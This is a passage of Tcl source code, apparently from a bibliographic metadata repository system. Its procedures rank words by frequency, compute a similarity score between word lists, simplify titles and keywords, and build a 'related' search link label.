$b 1] if {$aFrequency < $bFrequency} { return 1 } else { if {$aFrequency == $bFrequency} { set aWordLength [string length [lindex $a 0]] set bWordLength [string length [lindex $b 0]] if {$aWordLength < $bWordLength} { return 1 } else { if {$aWordLength == $bWordLength} { return 0 } return -1 } } return -1 } } # CompareWords - end # ---------------------------------------------------------------------- # ComputeSimilarity # used in GetMetadataRepositories only proc ComputeSimilarity {xList yList} { set domain [lsort -unique [concat $xList $yList]] # puts $domain if {[llength $domain] == 1} {return 1.0} set xList2 0 ;# must not be empty otherwise xList2 may be constant (e.g., xList == {a b c} and yList == {a b}) set yList2 0 ;# must not be empty otherwise yList2 may be constant (e.g., xList == {a b} and yList == {a b c}) foreach item $domain { lappend xList2 [llength [lsearch -all $xList $item]] lappend yList2 [llength [lsearch -all $yList $item]] } # puts $xList2 # puts $yList2 return [format %.2f [expr ([Correlation $xList2 $yList2] + 1) / 2.]] } if 0 { source utilities1.tcl set x {a b c} set y {a b} ComputeSimilarity $x $y # => 0.79 } # ComputeSimilarity - end # ---------------------------------------------------------------------- # SimplifyWordList # flag1 value is 0 or 1; 1 means to drop punctuation mark # flag2 value is 0 or 1; 1 means to drop common words and set no match proc SimplifyWordList {wordList flag1 flag2} { global commonWords if $flag1 { # regsub -all {[,.:;?!'"/()]} $wordList {} wordList # regsub -all {[,.:;?!'"(){}]} $wordList {} wordList ;# commented by GJFB in 2010-09-09 (title may contain words within [] resulting in an empty similar list) # regsub -all {[,.:;?!'"(){}\[\]]} $wordList {} wordList ;# added by GJFB in 2010-09-09 - commented by GJFB in 2010-09-15 (ponctuation mark may not be followed by a space) regsub -all {[,.:;?!'"(){}\[\]]} $wordList { } wordList ;# ' added by GJFB in 2010-09-15 # regsub -all { [-/] } $wordList { } wordList # regsub -all {[-–—/]} $wordList { } wordList ;# here, there are three kinds of hyphen (see also CreateRepArray) - added by GJFB in 2010-09-09 (Sub-THz -> Sub THz) - commented by GJFB in 2010-12-20 because / is not a separator when indexing words regsub -all {[-–—]} $wordList { } wordList ;# here, there are three kinds of hyphen (see also CreateRepArray) - added by GJFB in 2010-12-20 (Sub-THz -> Sub THz) } if $flag2 { regsub -all -nocase $commonWords " $wordList " { } wordList ;# drop common words regsub -all -nocase {estudos?|study|studies} " $wordList " { } wordList ;# drop some other words set wordList [SetNoMatch $wordList no no 1] set wordList [string trim $wordList] } return $wordList } # SimplifyWordList - end # ---------------------------------------------------------------------- # ComputeRelatedLink # used in CreateBriefEntry and CreateBriefTitleAuthorEntry only # similarButtonName value is related or Related proc ComputeRelatedLink {rep-i languageRepository hideSimilarButton similarButtonName choice} { global metadataArray global ${languageRepository}::translationTable ;# switch to the appropriate language - set in xxSearchResult.tcl, xxReferenceTypeName.tcl and xxFillingInstructions.tcl (where xx is en, pt-BR, ...) # lsearch -all was introduced after 8.3 if {[info tclversion] > 8.3 && \ [info exists metadataArray(${rep-i},language)] && \ [string equal {no} $hideSimilarButton]} { set language $metadataArray(${rep-i},language) if [regexp {^en$|^pt$} $language] { # SET selectedFieldNameList # options are only: set selectedFieldNameList {title} # set selectedFieldNameList {keywords} # set selectedFieldNameList {title keywords} # SET numberOfWords in each combination # set numberOfWords 2 ;# must be greater than 1 set numberOfWords 4 ;# must be greater than 1 # SET numberOfCombinations set numberOfCombinations 2 ;# numberOfCombinations <= numberOfWords (see Search.tcl) foreach fieldName {title keywords} { ConditionalSet $fieldName metadataArray(${rep-i},$fieldName) {} # set $fieldName [SimplifyWordList [set $fieldName] 1 0] ;# commented by GJFB in 2010-09-09 set $fieldName [SimplifyWordList [set $fieldName] 1 1] ;# added by GJFB in 2010-09-09 set ${fieldName}SimplifiedList [SimplifyWordList [set $fieldName] 0 1] ;# set titleSimplifiedList and keywordsSimplifiedList } foreach fieldName $selectedFieldNameList { lappend wordListList [set $fieldName] ;# used when computing similarity lappend wordSimplifiedListList [set ${fieldName}SimplifiedList] ;# used when searching for similar } set wordList [join $wordListList] set referenceWordSimplifiedList [lsort -unique [join $wordSimplifiedListList]] if {[llength $referenceWordSimplifiedList] >= $numberOfWords} { ConditionalSet abstract metadataArray(${rep-i},abstract) {} set abstractSimplifiedList [SimplifyWordList $abstract 1 1] # CONCAT title keywords abstract set wordSimplifiedList [concat $titleSimplifiedList $keywordsSimplifiedList $abstractSimplifiedList] # puts "wordSimplifiedList = $wordSimplifiedList" set referenceWordListWithFrequencies {} foreach word $referenceWordSimplifiedList { lappend referenceWordListWithFrequencies [list $word [llength [lsearch -all $wordSimplifiedList $word]]] } # puts "referenceWordListWithFrequencies = $referenceWordListWithFrequencies" set importantWordList {} # LRANGE foreach item [lrange [lsort -command CompareWords $referenceWordListWithFrequencies] 0 [expr $numberOfWords - 1]] { lappend importantWordList [lindex $item 0] } # regsub -all -- {\+} $wordList {%2B} wordList regsub -all {\+} $wordList {%2B} wordList ;# simplified by GJFB in 2011-02-15 regsub -all {<|>} $wordList {} wordList ;# added by GJFB in 2011-02-15 to solved the problem of the existence of a title word like <100> regsub -all {\$} $wordList {%24} wordList ;# added by GJFB in 2019-10-10 - convert $ to %24; - needed when the title have some $ like in: R$2,7 # regsub -all -- {\+} $importantWordList {%2B} importantWordList regsub -all {\+} $importantWordList {%2B} importantWordList ;# simplified by GJFB in 2011-02-15 regsub -all {<|>} $importantWordList {} importantWordList ;# added by GJFB in 2011-02-15 # append output2 " | $translationTable(related)" if [string equal {brief} $choice] { ;# added by GJFB in 2020-12-29 # brief return "$translationTable($similarButtonName)" ;# added by GJFB in 2020-12-29 - required because cgi(outputformat) might contain a white space (ex: {referencetype year}) leading to an URL break and consequently a lost of the return buttons } else { # briefTitleAuthor return "$translationTable($similarButtonName)" ;# related content is displayed only when cgi(outputformat) value is {ref-year-cite} so there is no risk of URL break } } } } } # ComputeRelatedLink - end # ----------------------------------------------------------------------